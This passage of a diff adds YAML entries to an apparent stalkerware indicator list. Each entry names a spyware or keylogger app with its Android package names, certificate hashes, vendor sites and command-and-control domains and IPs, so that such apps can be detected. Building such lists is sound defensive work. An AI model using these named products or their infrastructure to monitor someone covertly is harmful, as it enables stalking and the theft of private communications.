4CACA12EB37B7A7F07AE380C7E1741D2C36531DF + websites: + - www.blurspy.com + - blurspy.com + - xoxospy.com + c2: + domains: + - spyapp-8916f.firebaseio.com + - blurspy.com + - 8916f.appspot.com + +- name: AppMia + names: + - AppMia + type: stalkerware + packages: + - com.android.system.devicelogs + certificates: + - C51C36FE4F1DFC0C5B8CD55F74773135C1C1E1E5 + websites: + - appmia.com + - appmia.com.es + - appmia.it + - appmia.fr + - cp.appmia.com + c2: + domains: + - tr.appmia.com + +- name: SecretCamRecorder + names: + - SecretCamRecorder + type: stalkerware + packages: + - com.tools.secretcamcorder + +- name: Unisafe + names: + - Unisafe + type: stalkerware + packages: + - ru.usafe.u_safe + - ru.usafe.usafe + - ru.usafe.kid.unisafekids + - su.unisafe.unisafe + certificates: + - 20AB40ACC2822A34EC199622CDCA9D7A63BB302B + - 41862C48D4BBC2A83DB3CE6EBA0D0C53E3D882B6 + - A519EF2B8C4E73A097065B322687C9D38DED610C + - B5895930053256D408DE74B66BA132B73CB21527 + - FCB6F780EA8F2FE7249F66C6348572BDBD54F576 + websites: + - usafe.ru + - unisafe.su + - unisafe.techmas.ru + c2: + domains: + - a342f.appspot.com + - unisafe-a342f.firebaseio.com + - usafe-ca594.firebaseio.com + - usafe.ru + +- name: TrackView + names: + - TrackView + - LifeCircle + type: stalkerware + packages: + - app.cybrook.trackvieo + - app.cybrook.trackviep + - app.cybrook.trackvieq + - app.cybrook.trackvier + - app.cybrook.trackvies + - app.cybrook.trackviet + - app.cybrook.trackvieu + - app.cybrook.trackviev + - app.cybrook.trackview + - app.cybrook.trackviex + - app.cybrook.trackviey + - app.cybrook.trackviez + - app.cybrook.trustserv + - app.lifecircle + - app.trackview + - app.trackview.pro + - cn.trackview.shentan + - com.trackview + - cybrook.trackview + - net.cybrook.trackvieo + - net.cybrook.trackviep + - net.cybrook.trackvieq + - net.cybrook.trackvier + - net.cybrook.trackvies + - net.cybrook.trackviet + - net.cybrook.trackvieu + - net.cybrook.trackviev + - net.cybrook.trackview + - net.cybrook.trackviex + - net.cybrook.trackviey + - net.cybrook.trackviez + - net.cybrook.trustserv + - net.homesafe + - net.trackview + - net.trackview.pro + - tv.familynk + - tv.familynl + - us.trackview + certificates: + - CB97E71AFA4665D6D28697B9197046C81E5E5D6C + - B14E50E56D5D483031137FD247D4A5466D0E61B4 + - 96A1F635F940D8D154FD42D550B6201B60692744 + websites: + - chome.zstone.co + - lifecircle.app + - trackview.net + - trackview.recurly.com + c2: + domains: + - analytics.trackview.net + - api-project-285519687053.firebaseio.com + - api.lifecircle.app + - api.trackview.lifecircle.app + - cnapi.trackview.net + - lifecircle-223805.firebaseio.com + - m.lifecircle.app + - rc-api.lifecircle.app + - trackview.net + - us-central1-api-project-285519687053.cloudfunctions.net + - user.trackview.net + - user2.trackview.net + - relay1.trackview.net + +- name: TrackingSmartphone + names: + - XZBO + - TrackSmart + - TrackingSmart + type: stalkerware + packages: + - com.tracking_smartphone + - com.app.remote_control + - com.ts_settings + certificates: + - 1DB0D66C1D21DD4B185D03B13D6CF620E4FACBAA + - 603881E46350999FF7A5CBD68FE6A5897C50CEDE + - 665D624FD53E4D538DFE9F7A87087C513CB40506 + - 86D94A8CE736F82D834FA588F34106AE7B69D325 + websites: + - trackingsmartphone.com + - www.trackingsmartphone.com + - onlinefundb.com + c2: + domains: + - trackingsmartphone.com + - onlinefundb.com + - tracking-smartphone.firebaseio.com + +- name: SpyphoneMobileTracker + names: + - SpyphoneMobileTracker + type: stalkerware + packages: + - com.phonetrackerofficial + - com.phonetrackerofficial1 + certificates: + - 5F61BEB9591ADBDF9DA5B141A1EF35CDC0944C8C + websites: + - phonetracker.com + - www.phonetracker.com + - spyfone.com + - spyphone.com + - www.spyphone.com + - spy-phone-app.com + c2: + domains: + - phonetracker.com + - phonetracker95gpsonly.firebaseio.com + +- name: OneLocator + names: + - PhoneTrackerByNumber + - FamilyLocator + type: stalkerware + packages: + - mg.locations.track5 + certificates: + - E43B5671CBA3F48619BF00D6E380BBC2F02A5DCA + websites: + - locatorprivacy.com + - onelocator.com + c2: + domains: + - locatorprivacy.com + +- name: EvaSpy + names: + - Spyrix + type: stalkerware + websites: + - evaspy.com + - login.evaspy.com + - www.spyrix.com + - spyrix.com + c2: + domains: + - ua.evaspy.com + - ub.evaspy.com + - uc.evaspy.com + - ud.evaspy.com + - ue.evaspy.com + - uf.evaspy.com + - ug.evaspy.com + - uh.evaspy.com + - ui.evaspy.com + - uj.evaspy.com + - uk.evaspy.com + - ul.evaspy.com + - um.evaspy.com + - un.evaspy.com + - uo.evaspy.com + - up.evaspy.com + - uq.evaspy.com + - ur.evaspy.com + distribution: + - shuch6ba0w.spyrixweb.com + - sxde-download.spyrix-sfk.com + - spyrix-sfk.com + +- name: RealtimeSpy + type: stalkerware + packages: + - com.realtime.spyapp + certificates: + - 8CD8FB235EA7F9B0FC308C1A59AB561C3869878C + websites: + - www.spytech-web.com + - spytech-web.com + - realtime-spy-mobile.com + - www.realtime-spy-mobile.com + c2: + ips: + - 184.154.69.210 + domains: + - realtime-spy-mobile.com + +- name : jjspy + names: + - ttspy + type: stalkerware + packages: + - com.backup.tt + websites: + - www.jjspy.com + - www.ttspy.com + certificates: + - 002DD372C94E80600C7C60192CBD701A3C3B87EE + - 4AF16661FC885F7CC84358CCB8F272308436D5E3 + - 6DFB725019C7784B400D940DAAEDAED18C5B898B + - D3E6A092741CBA59BE9308FBA72DF887EAB184FD + - D8418B279414687729D37B34E53AB75D502B9F73 + - EE35E2740576480486307C991C762A3FBA8DA46D + - B8FCBCA563B1CD0E79CAC595002422C2E54072B7 + - CF627144481D3F1DCFBB6CF12291C540AE325FBE + - 34B791B5D35A874D189202EEA1FA99188F58A4C1 + - 933C19015525266982AC6D830CB6B3D25079777B + c2: + domains: + - api.ttspy.com + - cloud.ttspy.com + - jjspy.com + - jjspy.ml + - my.jjspy.com + - phone-backup-service.firebaseio.com + - rrspy.com + - rtc.ttspy.com + - service.n.weiguanai.cn + - service.weiguanai.cn + - ttjj.ga + - ttjj.tk + - ttjj.ml + - ttspy.com + - ttspy.net + - ttspy.top + - upload.weiguanai.cn + - ws.ttspy.com + - www.ttjj.tk + - wx.weiguanai.cn + +- name : AndroidSpy + names: + - AndroSpy + - ASpy + type: stalkerware + packages: + - apk.screenshotrecorder + - apk.keylogger + - apk.kgl + - apk.kwoapsnde + - com.as.clipboardmanager + - com.as.facecapture + - com.as.gpstracker + - com.as.keylogger + - com.as.keylogger2 + - com.as.klogger + - com.as.screenrecorder + - com.as.urllogger + websites: + - a-spy.com + - www.a-spy.com + certificates: + - 9F6F25AB4EB39CA27BBB22465E6FDC1FC3791C85 + - AA0458B6C035E767E61DB7456CBCA89CC4D42090 + - 56BD8EB8A20904E4766D99F6D38D87466C44B114 + - 839FBBE6F3DF8153BB6582247DBBC2A42864A87D + - B7BB744C68FD6EB4C49298E7506BED53DC4773FF + - C863D800B89648724CD483911FBF756F36497CC9 + - F57CACB890BE22907709DDE69ED3887F6943734E + c2: + domains: + - a-spy.com + - m.a-spy.com + - klg.a-spy.com + - my.a-spy.com + +- name: AndroidPolice + names: + - MonitorChecker + - AndrMonitor + - AndroidMon + - Dromon + type: stalkerware + packages: + - afs.hbmoczc + - bv.vemzye + - com.amon + - com.monitorchecker + - fod.loqpf + - ifk.ghumlh + - mhu.bylbcwc + - oo.ptkqyawh + - sy.slvzccd + - vmf.uxytqgrl + - vn.ehkfqgvn + - yr.tubjypbl + - com.dromon + - kenkbltcf.pwpwkvdwmjk + - iiw.orqjtwbkx + - efexmsz.mzuooelftl + - fka.ugsonrqogw + certificates: + - 4591BD0E4CBE86FD7510F1427BA6538BB269AE4D + - 1CD94B411B5D4D2F5F525D775876FF0993B4B716 + - 5C77395F77E17F293CC8C4E3E1FDD48296EE4B28 + - 6A610D0211E543113EFE1A82CC4D270B6A45C526 + - 6CC6FB667F4D178DF4E9111FE96BE9AEAEE485EF + - 85A4C4F357A99888725862C351119FBB12C45695 + - 970B463F5103B36326AF8C8349A4106F6932835B + - B57FAAB701E26B4C92972442D3A428881E18441A + - E0FCD3E782FB859F7388E4F44A44A5D694114968 + - EAD44242A3C0A73DEF7976C56AC10A4530E8F67A + - ED5BADBC20B1B027F5858D29DAFBF66535C46DB9 + - 339B5C1746A1CDEA945D51BBE967C1320AE73CC4 + - BEF28CC19ADFBEADC95137A2BD5035B6046666E9 + - 16226330EBB138A5D47913151827A86567AD9CD4 + - 3BA583488F36C708025C078D9EB4BEDC3918B098 + - DDE822BAF53EF55C49096E866A995464CECB8B1C + - E6F85CAB3903304DC16197B7EDA8F67ED6D65A1A + websites: + - amon.android-monitor.ru + - amon1.android-monitor.ru + - andmon.name + - android-apk.android-monitor.ru + - android-monitor.ru + - android-monitor1.android-monitor.ru + - android-police.android-monitor.ru + - android-police.ru + - anmon.android-monitor.ru + - anmon.name + - anmon.ru + - anmon.su + - anmon1.android-monitor.ru + - droimon20.ru + - monitor-android.android-monitor.ru + - prog-money.android-monitor.ru + - prog-money.com + - www.android-monitor.ru + c2: + domains: + - amon.android-monitor.ru + - amon1.android-monitor.ru + - andmon.name + - android-apk.android-monitor.ru + - android-monitor1.android-monitor.ru + - android-police.android-monitor.ru + - android-police.ru + - anmon.android-monitor.ru + - anmon.name + - anmon.ru + - anmon.su + - anmon1.android-monitor.ru + - droimon20.ru + - monitor-android.android-monitor.ru + - prog-money.android-monitor.ru + - prog-money.com + - www.android-monitor.ru + - android-monitor.ru + +- name : FindMyPhone + names: + - InMobi + type: stalkerware + packages: + - com.mango.findmyphone + - com.mango.findmyphone2 + - com.mango.findmyphone3 + websites: + - find-myphone.com + c2: + domains: + - find-my-phone-prod.herokuapp.com + - findmyphone.mangobird.com + +- name : Bulgok + names: + - ControlPhone + type: stalkerware + packages: + - com.bulgakov.controlphone + - com.bulgakov.bug + - com.bul.b + websites: + - c-phone.ru + certificates: + - 71AD1F579C3DCF32AA1E00E02245D359F80C260B + - FD5E1BBC94E5609F366DD4816C975C1CF4003F40 + - DBC4B607C3B07C48F40F9D184DE443D651436CA5 + c2: + domains: + - c-phone.ru + - control-phone-a05a3.firebaseio.com + - q95294fs.beget.tech + +- name : Tracku + names: + - Kurulum + - Bakuf + - Clues + - IZSpy + - IzKid + - ESpy + type: stalkerware + packages: + - com.android.fystem.maps + - com.android.system.maps + - com.google.android.bacfup + - com.google.android.safe + - com.wzogle.zndroid.yacfup + - com.qzogle.xndroid.jacfup + - com.qzogle.xndroid.jacfut + - com.qzogle.android.jacfut + websites: + - 2mata.net + - clues4.com + - cluestr.com + - e-spy.org + - hike.in + - izkid.com + - www.e-spy.org + - www.izkid.com + certificates: + - 01EFA0C8FAE43215125ACA78308EFB1768FB4049 + - 2A1C74FFFE33C7D867C7B284FFDBBA4DDD024450 + - 5407E1CC26F28D6024E0384693045AEA2B24C5DA + - 7D0F4308B87223AEEFFA65060F0F752E84D363BE + - 9427212B33E9D3636970EAB73E2845E0DC59B5AA + - A9A302C9606AF4BE4468A4FC74F7873DDADA2AB0 + - BD3986483D9B962B029D65BF34BF4B7C568FF204 + - 4474D3395029E6C6744A470EE5F2107DBAEF16A0 + - 6F1FDA1889463BFA646A950E49E121B7829A884D + - 5051413BB7C4931F5CD25260FFF173739CBE0F3A + - 4140120093B5655CF559B2A786269CF3F82E3AE9 + - 7A55C057800823F710BF32A7D9865B300777E2D5 + - FEEF07EA18BA2EF7B75AD311F45A45AB4C1E8F0E + distribution: + - e-spy.org + c2: + domains: + - apk7.biz + - clues.link + - clues4.com + - cluestr.com + - e-spy.app + - e-spy.org + - izapk.xyz + - izspy-1313.firebaseio.com + - msafe.xyz + - www.apk7.biz + - www.e-spy.org + - www.msafe.xyz + +- name : KidsShield + names: + - TiSpy + - KidLogger + - MonitorMinor + - SelfSpy + - SpyTrac + - TelcadoAndroid + - TiFamily + - TracerSpy + - Triada + - VipTelefonProgrami + type: stalkerware + packages: + - com.protect + - com.aixlunro.uqfhkagb + - com.bzbqbkya.hgozttiu + - com.gzomoyig.qwgawtaz + - com.android.inputmethod.latinmy + - com.ntckdlhc.oifhnjwp + - com.selgdg.febgdsra + - com.selgdg.mardsdaf + - com.sepfsp.jasend + - com.bnahrrbc.kwexsnhl + - com.tbntxear.vfmkjxme + - com.fbhpdsej.gnuebduy + - com.uxgbipup.pdtvcgzc + - com.uzoifhzk.qmqnpwaf + - com.zkftwsel.fqnoquuv + - com.mnwkvijy.wzyxgrft + - net.kidlogger.kidlogger + - net.teslineservice.kidl5 + - net.someapp1.somecorp2 + - com.fhekpqbq.otlzonjx + websites: + - backupsoft.eu + - freespyapp.com + - kidlogger.net + - kidsshield.net + - monitorminor.com.tr + - pc.freespyapp.com + - pc.selfspy.com + - selfspy.com + - spytrac.com + - techinnovative.net + - tifamily.net + - tispy.net + - tracerspy.net + - ua.tispy.net + - viptelefonprogrami.com + - www.kidlogger.net + - www.selfspy.com + - ua.tispy.me + certificates: + - 0D025A887A1546585D9BBA6F023F42B8BE0274E1 + - 1A6D10E15280C6A938EED9BEF53A31DA0CEBA45A + - 272CD0BC357FA03AF87940644CB8FFDECD2FDDC6 + - 3397C095EAD93B13CC5B9979D1F3B4FAEF1D194C + - 35D1DB3904A84793394FE5DF7B678E263B1B33A0 + - 5EF38D0143F601FD01AA39BFE9079E9927920208 + - 6CA8C06D7DAC5F5685E014AE5C4D2062F77B42D6 + - 789A24C1605F1BF2B6D64580C697BD38D9446A7E + - 8AE2267AEEA0DBFF7D7CC1C82E54343B1B0CFA22 + - 8B187B3EBEF7D1BC8E32BEC78D36CBF95505A1C1 + - 95D589A90971992A2038E5961B39C8B6BC77CF19 + - A2EBDD14E2AE17F52363BCB751CCBE15BE5A2F8D + - AA4F85CD7C24116BB51FA733BE59290B7BB8C204 + - F575CA9980D3075CF728F2081D9EC5F910CC17E8 + - FD84821C80C1499A2446F6F7E13BF8BDA6A66402 + - 77C411957F307F6B971C7C07825CA5EA06F0E36D + certificate_cname_re: + - ^Kids\WSafety\W[0-9]{2}-[0-9]{2}-[0-9]{2,4}\W[0-9]{2}:[0-9]{2}:[0-9]{2}$ + certificate_organizations: + - Tesline-Service SRL + distribution: + - spyt.co + - kidsshield.net + c2: + ips: + - 52.22.130.9 + domains: + - apprtc.appspot.com + - d.tispy.net + - freespyapp.com + - kidsshield.net + - login.quanly24h.net + - pc.backupsoft.eu + - pc.freespyapp.com + - pc.selfspy.com + - pc.viptelefonprogrami.com + - quanly24h.net + - spyt.co + - spytrac-app1.s3.amazonaws.com + - theodoi24h.com + - tispy.net + - ua.tispy.net + - viptelefonprogrami.com + +- name : NemoSpy + names: + - Spyoo + type: stalkerware + websites: + - nemospy.com + - admin.nemospy.com + certificates: + - E871393054ED858ACB5854C0DB9F674C42160344 + - C7FBC97C3BD3949A6C19FF332E6CF2F2E5CEE561 + c2: + domains: + - nemospy.com + - setup.nemospy.com + +- name : SpyKontrol + type: stalkerware + packages: + - com.ajygpxjy.bnthtjou + - com.udxlbuno.plwnnhop + - com.igyluazm.iytdhsky + websites: + - www.spykontrol.com + - spykontrol.com + - androidapk.biz + certificates: + - FB8F23C57D0AFD255FD255B290B2EF6DBB2EAFD8 + - A36C70833A8A796F94CCD56B810D2A123F4F0485 + - EA35FC50B3B0E0A9E5405BAC2D7E58D7F9559FD0 + c2: + domains: + - pc.spykontrol.com + - androidapk.biz + +- name : Trackplus + names: + - Gpspy + - S2mob + - Spy2Mobile + - SpyToMobile + - Spymob + - sap4mobile + - spy2mobile + type: stalkerware + packages: + - com.callhist.calltr + - com.catrsy.jaluc + - com.cellph.montrb + - com.dbzbpr.skt + - com.elpatr.woac + - com.ernell.thht + - com.gh.ob + - com.greatdata + - com.kidsmobmon + - com.mobitra.todv + - com.mobphn.monit + - com.mobtr.danbel + - com.mophtr.td + - com.phone.tracker.smsb + - com.phtranlo.tifach + - com.rephko.stha + - com.s2m + - com.s2m.seas + - com.sap4mobile + - com.smart + - com.smartback + - com.smstra.xanris + - com.spy2mobile + - com.spy2mobile.light + - com.stmrsa.htxt + - com.tccplos.spth + - com.tevi.walpi + - com.tracker.sms.mobile + - com.trackzone.kids + - com.trandmon.tool + - com.trphwhat.prob + - com.viewcalls.rem + - com.viewsms.remb + - com.whtrack.monit + websites: + - account.spytomobile.com + - forum.spytomobile.com + - spy2mobile.com + - spytomobile.com + - trackerplus.ru + - www.spy2mobile.com + - www.spytomobile.com + certificates: + - 0387135D057AEAA0F8BCFCE2AFA84D9BD1FA6F30 + - 0C5AB4D05A2C804D3A4D0472CEAC50B89833E6E4 + - 0F64B6EBB49849AC685FE5DF605908594623368E + - 14EE7779B2E84A0FF1309DEA72881670D78E98AB + - 1BB7F1E962C35F00BE2EF97A64C753CCA0993637 + - 20948233C3EF1662E79850AE0AB959C4760114C2 + - 26DDA9B261169FB0A63A6CEA5B682B7A190328B6 + - 26FC20C25AF99E4B6C16ABAD8E8D76AFA55973BB + - 271CA9A77AF56B94F942EDA8F517E4B0FD44206C + - 2919FF38F04D757BA6FE344F1729275739F43E89 + - 2B02F9708FAD9017D9F709AB2C5C8B5BD0D29394 + - 39DDEFD8261C1946E4F3160F6A9E200F59F06C11 + - 3A041A8B1CF12E01AD4AA14779C1FCCA0701FE5C + - 3E4E5813CA5B9D9BB50B70FAD3C201FAA54B4FD5 + - 4569A62308FA134A33A5DDCC065D6FDAE5653435 + - 4579E9E02465DAC399B7A47682813F5104E5D914 + - 54E4D1ACDA9E3071D27AA7B6470E23F75BF1380B + - 5C9031E2340478521630198F3F90E5C8D38D3B64 + - 76A90B5E41FA2AFE14478CDA24A0CA6B4F7FC5F3 + - 7D9EDDE23B4D3D7AC459B06ECEBE8EA1350D4F8F + - 7DED7756C3DBE351A23BE061E989273888414FE6 + - 8C76B4444DAE08ECF578AF51D295836F0D9BADC6 + - 8D7FEC36654F6B35FA89E079685D637CCEE27755 + - 9329632A70D41158EBAB6EED27B12D8CB0D47579 + - 98140CAE57F4D4CA53EF81F6521E7A0FD601F6E9 + - 986E5892EFB97E807772698BAC701F49CE9CAEA8 + - 98E76043B54DD7CB76E0E6E384A83646F1865BAE + - A2CD01EE20E3C25575D2D9B9645A52A1FA8C36C6 + - A2CE290D98B66B577880F3D7807DC01EB7FCE01B + - ADF393A6628366341BA488B85A5AE738793BFD17 + - B8C908630D7D1ED52FA4E5AEC2A2BDA0414F8B3F + - BB59FC701EAC40C51C9274EA6A8EE623F5002802 + - BC682A41C2AA1EFFFD65CE42BBE3FA967A561EEC + - CA6F27DDCBE5D7929C82F42F63FF24703A352756 + - E401C172FE10C4893A13B38B1FABAA43473E2900 + - EF8006163D09D176083936CFB068BB07A8918118 + - F5EAEFDECAD39B93134E859BEDC7D3ED42FBE2B3 + - FD4C2144DF6E431378A46EAEACC696AF94DE9D56 + c2: + ips: + - 185.87.51.116 + - 139.59.125.208 + domains: + - 12d60.appspot.com + - 12d60.firebaseio.com + - 13-5.org + - 13-5.ru + - 89685.firebaseio.com + - account.trackerplus.ru + - and.info-taxi.info + - best-spy-apps.com + - edlnc255s2q.s3.amazonaws.com # edlnc255s2q.s3.amazonaws.com/databackup.apk + - ftp.info-taxi.info + - info-taxi.info + - kokum.ru + - pi.info-taxi.info + - sap4mobile-89685.firebaseio.com + - sap4mobile.com + - smartback-12d60.appspot.com + - smartback-12d60.firebaseio.com + - spy2mobile-bb441.firebaseio.com + - spy2mobile.com + - spytomobile.com + - tagdps.ru + - tfk7r22klf8vtd8g90jq8qno1tpqhmpe.apps.googleusercontent.com + +- name : MobileSpy + type: stalkerware + websites: + - de.mobilespy.at + - es.mobilespy.at + - fr.mobilespy.at + - it.mobilespy.at + - mobilespy.at + - pt.mobilespy.at + - ro.mobilespy.at + - www.mobilespy.at + c2: + ips: + - 37.120.162.163 + domains: + - api.mobilespy.at + +- name : WebWatcher + names: + - Atic + - Interguard + - Screentime + - atispy + type: stalkerware + packages: + - com.at.wwka + - com.ati.client + - com.ati.monitor + - com.ati.webwatcherconsole + - com.atinc.slcompanion + - com.atiw.wc + - com.awarenesstech.monitor + - com.awarenesstech.wwpapp + - com.awarenesstechnologies.sideloadedws + - com.awti.slc + - com.screentime + - com.ww.companion + websites: + - awarenesstechnologies.com + - interguardsoftware.com + - screentimelabs.com + - webwatcher.com + - www.webwatcher.com + certificates: + - 35E90A29262F1E6CC25B6E483DEC67161513DE30 + - 4E6B680EF3B588EF53097BC7CEFB778833B8A475 + - 60277E8CE202D8023F2ECC86F1726A50D9990576 + - AD62CBB4BD298CF69CDA40997C3E5D70112D7161 + - B9D5BAEDCF0C711317E8B6E54D60F0A5EDEE9517 + - E689432F7C2A39379BD64CB0BD2A6028F3A666DD + - FC786B8F918655D45245C685A471BD57F02FB366 + c2: + domains: + - api.awarenesstechnologies.com + - apitest.awarenesstechnologies.com + - data-webwatcherdata-alb-1451089636.us-west-2.elb.amazonaws.com + - data.qa.webwatcherdata.com + - data.webwatcherdata.com + - download.webwatcherdata.com + - login.webwatcher.com + - rcomlogin.com + - screentimelabs.appspot.com + - webwatcher-child-app.firebaseio.com + - webwatcherdata.com + - www.webwatchernow.com + - webwatchernow.com + +- name : NexSpy + names: + - Oxy + - MobileBackup + type: stalkerware + websites: + - nexspy.com + - oxy.nexspy.com + - mobilebackup.biz + - portal.mobilebackup.biz + - portal.topzaloha.cz + c2: + domains: + - my.nexspy.com + - api.mobilebackup.biz + - topzaloha.cz + +- name : juju + type: stalkerware + websites: + - www.juju.co.ke + - juju.co.ke + +- name : mSpyitaly + type: stalkerware + websites: + - dc-407883c18502.mspyitaly.com + - mspyitaly.com + - www.mspyitaly.com + +- name : MyCellSpy + names: + - CellSpy + - MCSpy + type: stalkerware + packages: + - com.cryzp.leplluln + - com.pser.sysutils + - com.sev.android.systemdev + websites: + - mycellspy.com + - cezz.me + - user.mycellspy.com + certificates: + - D09EE9D79FF75E737429DDE34FD13EDFDDA34E78 + certificate_organizations: + - H20201128 + c2: + ips: + - 47.252.23.40 + domains: + - api.mycellspy.com + +- name : Spylix + type: stalkerware + packages: + - com.chaoqi.spyapp + websites: + - spylix.com + - www.spylix.com + certificates: + - 2CF347EA59967F7799AA2C1FDB5D711B2B93D586 + c2: + ips: + - 52.90.126.68 + domains: + - api.spylix.com + - apidemo.spylix.com + - d2nipadu1fr4ne.cloudfront.net + - getspylix.io + - my.spylix.com + +- name: MonitorUltra + type: stalkerware + packages: + - com.sec.provider.mobile.android + websites: + - www.spyequipmentuk.co.uk + certificates: + - 0DCD7C9CC6A76AD28D7D992C4EF3DF2F768EA473 + c2: + ips: + - 185.2.103.130 + - 80.241.216.14 + domains: + - x1panel.com + - xpcpanel.com + - monitor-ultra.com + +- name: SentryPC + type: stalkerware + websites: + - www.sentrypc.com + - sentrypc.com + c2: + ips: + - 108.178.9.124 + domains: + - sentrypc.net + - spc-runtimes.s3.amazonaws.com + - www.sentrypconline.com + - www.sentrypc.net + - www.spclogs.com + - www.sentrypc.download + +- name: TheWiSpy + type: stalkerware + packages: + - com.thewispy + certificates: + - BFF94895A64AEB38B5278BC41B1DB242CD82DA62 + websites: + - www.thewispy.com + - childmonitoringsystem.com + c2: + ips: + - 167.71.189.163 + domains: + - cp.thewispy.com + +- name: Observer + type: stalkerware + packages: + - YWZiZDFjZTg2NTZlOGI4NDkyYWJjZDJjZDE5ZTM0Mjk.MzkwMmNhZGFiZGZhMjMyZjQzNTJkYmQ1ODg1ZjI1NzA + - com.system.settings + certificates: + - 3D4D65F3584201E74B186A90C3333C468D3C6A09 + - 64AC17A447EB4BCAF556B57C5C66F232C489C7A7 + - 85AF7A95F8A95541F6B6DE88A8EBC24FF1658E98 + - D44524FA0D7866F1798C41C28953DA899B46BE65 + - E906D462FA05007DE06423A10539C7E7EAB041CD + websites: + - www.observer.pw + c2: + domains: + - observer.back4app.io + +- name: Mrecorder + names: + - mobrec + type: stalkerware + packages: + - com.mobileservices2.synchronization + - com.mrecorder.callrecorder + - com.mobileservice.sync + - com.connection.manager + certificates: + - 718F3191938DA39D3A4EAC0EF0F44C70F32B0989 + - 77142DA3A865C256FCDD24E187FDCEBA1B4EC587 + certificate_organizations: + - mrecorder2 + - MobileRecorder + websites: + - mobilerecorder24.com + - mrecorder.com + c2: + domains: + - d1gslyvqtipqvi.cloudfront.net + - d24lo6rmha82nf.cloudfront.net + - d3g4zswpacwtfb.cloudfront.net + - data240.mrec24.com + - data241.mrec24.com + - disp2.mrec24.com + - dispatcher.mrecorder.com + - mobi22.com + - mobilerecorder-1277.firebaseio.com + - mrec24.com + - my.mrec24.com + - package.mrec24.com + - package2.mrec24.com + - project-7991479181228723357.firebaseio.com + +- name: PhoneSpy + type: stalkerware + packages: + - com.popo.analyse + - com.wlset.info + certificates: + - 5EC970BC602D0EBB2F3C7A5135E24C330B71DE59 + - FBC83FD67E3B534B8B03D3B341249DB3186374E2 + websites: + - www.phone-spy.com + - phone-spy.com + - aksoft.gq + c2: + ips: + - 103.147.225.210 + - 175.126.146.147 + +- name: ShadySpy + type: stalkerware + packages: + - com.shadyspy.monitor + certificates: + - 91ED4F75A763A63471E1D1D39BA012DF867550D4 + - C44894EE63F2E861A6960834A21EB27169150722 + distribution: + - shadyspy.com + websites: + - shadyspy.com + - www.shadyspy.com + c2: + ips: + - 45.79.149.154 + domains: + - www.shadyspy.com + +- name: AbsoluTrack + names: + - RemoteSecurity + type: stalkerware + packages: + - com.ass.antitheft + - com.ass.remotesecurity + - com.ass.ladieschildprotection + - com.ots.ladieschildprotection + - com.ots.remotesecurity + - com.ots.antitheft + - com.softalogy.thiefguard + - com.ots.womenchildsafety + - com.gss.whereismyphone + - com.smart.guardoffline + certificates: + - 8851279B5177EF52B0B8540EE1FCED4BABDFB318 + - 5D655F30DE8B8BDABCCDF660582C6369145E7A5A + - 28393DBA55F5B08294D1E54962BE1648C1EFB4A2 + - 40159690AF08A01670E3FA07A021F7B1C1437042 + - C9BE6C42B975258DEA10EB6946A7986E4FE955E2 + - D1BB66A93F621A66094F28856988C7A2AE9972D0 + - 1C6E171D3A6E51947DF9E83946BB115ED4A41C6A + websites: + - absolutesoftsystem.in + - absolutestoreindia.com + - ass.absolutesoftsystem.in + - geniesoftsystem.com + - onetouchsecurities.com + - smartguardapp.com + - thiefguardbd.com + - www.smartguardapp.com + c2: + domains: + - absolutesoftsystem.in + - ass.absolutesoftsystem.in + - thiefguardbd.com + - antitheft-88554.firebaseio.com + - remotesecurity-629f2.firebaseio.com + - test.onetouchsecurities.com + - remotesecurityots.firebaseio.com + +- name: SmartKeylogger + names: + - Hiddad + type: stalkerware + packages: + - com.AwamiSolution.smartkeylogger + certificates: + - 842676B67005E6561808B650152F598035D12800 + certificate_organizations: + - AwamiSolution + websites: + - awamisolution.com + c2: + domains: + - awamisolution.com + +- name: Traccar + names: + - Traca + type: stalkerware + packages: + - org.traccar.client + - org.traccar.client.hidden + certificates: + - AA752803419B66BC6D5CFCD61A7C88935FFE5511 + - F4F16BDEB31AED018276B47CAD9007063029FD22 + - DAE17DA900E269741688CEA3DAF929A8D896536D + - A759EC34A1144DC3443A9D4C3286F9F3A4F23FB1 + websites: + - www.traccar.org + - demo.traccar.org + - traccar.org + c2: + domains: + - traccar-client-app.firebaseio.com + - traccar.org + +- name: SpyNote + names: + - Scream + - Screamon + type: stalkerware + packages: + - dell.scream.application + - com.spynote.software.stubspynote + certificates: + - 219D542F901D8DB85C729B0F7AE32410096077CB + websites: + - www.spynote.us + - spynote.us + c2: + domains: + - spynote.us + +- name: FlashKeylogger + names: + - FlashKeylog + type: stalkerware + packages: + - tej.flashkeylogger + - tej.flashkeyloggerpro + - tej.flashkeylogges + certificates: + - 340FE1F4AA4A401AD8E326907E35FB9E0C2486BD + websites: + - flashkeylogger.com + +- name: MobiStealth + names: + - MobiStealth + - Stealthcell + type: stalkerware + packages: + - stealthLight.sys + - phone.Secure + - and.LocatorTrial + - and.GuardTrial + - lookOut.Secure + certificates: + - 5AD2ACB089F8BE5112FF5125D94036983DE3E8D5 + - FED69D6F09AE8C98DD4053C1934CCAF57D31824D + certificate_organizations: + - mobizim + websites: + - mobistealth.com + - www.mobistealth.com + - www.mobilestealthreview.com + c2: + ip: + - 72.167.46.196 + - 5.79.71.114 + domains: + - einformatiks.com + - www.einformatiks.com + - dwn.vys.me + - www.vys.me + - vys.me + +- name: SMSForward + names: + - SMForw + type: stalkerware + packages: + - one.enix.smsforward + certificates: + - 1E15B0D27C0551061885340A3990D52A93F646B8 + +- name: Ahmyth + type: stalkerware + packages: + - net.droid.talk218 + - ahmyth.mine.king.ahmyth + certificates: + - 0ECD5FD80682776D804715AB5B8504DAF59A4B54 + c2: + ip: + - 85.10.199.40 + +- name: xHunter + type: stalkerware + packages: + - com.xhunter.client + +- name: SpyTec + type: stalkerware + websites: + - spytecgps.io + - spytecgl300.com + - www.spytec.com + - spytec.com + - activation.spytec.com + +- name: SpyTek + type: stalkerware + websites: + - spytekonline.co.za + - spytek.co.za + - portal.spytek.co.za + +- name: BosSpy + type: stalkerware + websites: + - bosspy.com + packages: + - com.android.preference.help.mole + certificates: + - 32570AD62B2DF951A67251ACB49E39E96B8A43BA + +- name: Fenced + names: + - MobileSpyIo + type: stalkerware + websites: + - mobilespy.io + - fenced.ai + - web.mobilespy.io + - demo.fenced.ai + - web.fenced.ai + - admin.fenced.ai + packages: + - com.mobilespy.io + - com.fenced.ai + certificates: + - 5F2DCC133AF3E19D3935A85A3E2871856602A21D + +- name: RastreadorDeNamorado + type: stalkerware + websites: + - rastreadordenamorado.com.br + packages: + - br.com.rastreadordenamorado + +- name: Intertel + type: stalkerware + websites: + - mobile-spy.co.za + +- name: SpyFly + type: stalkerware + websites: + - spyfly.co.za + 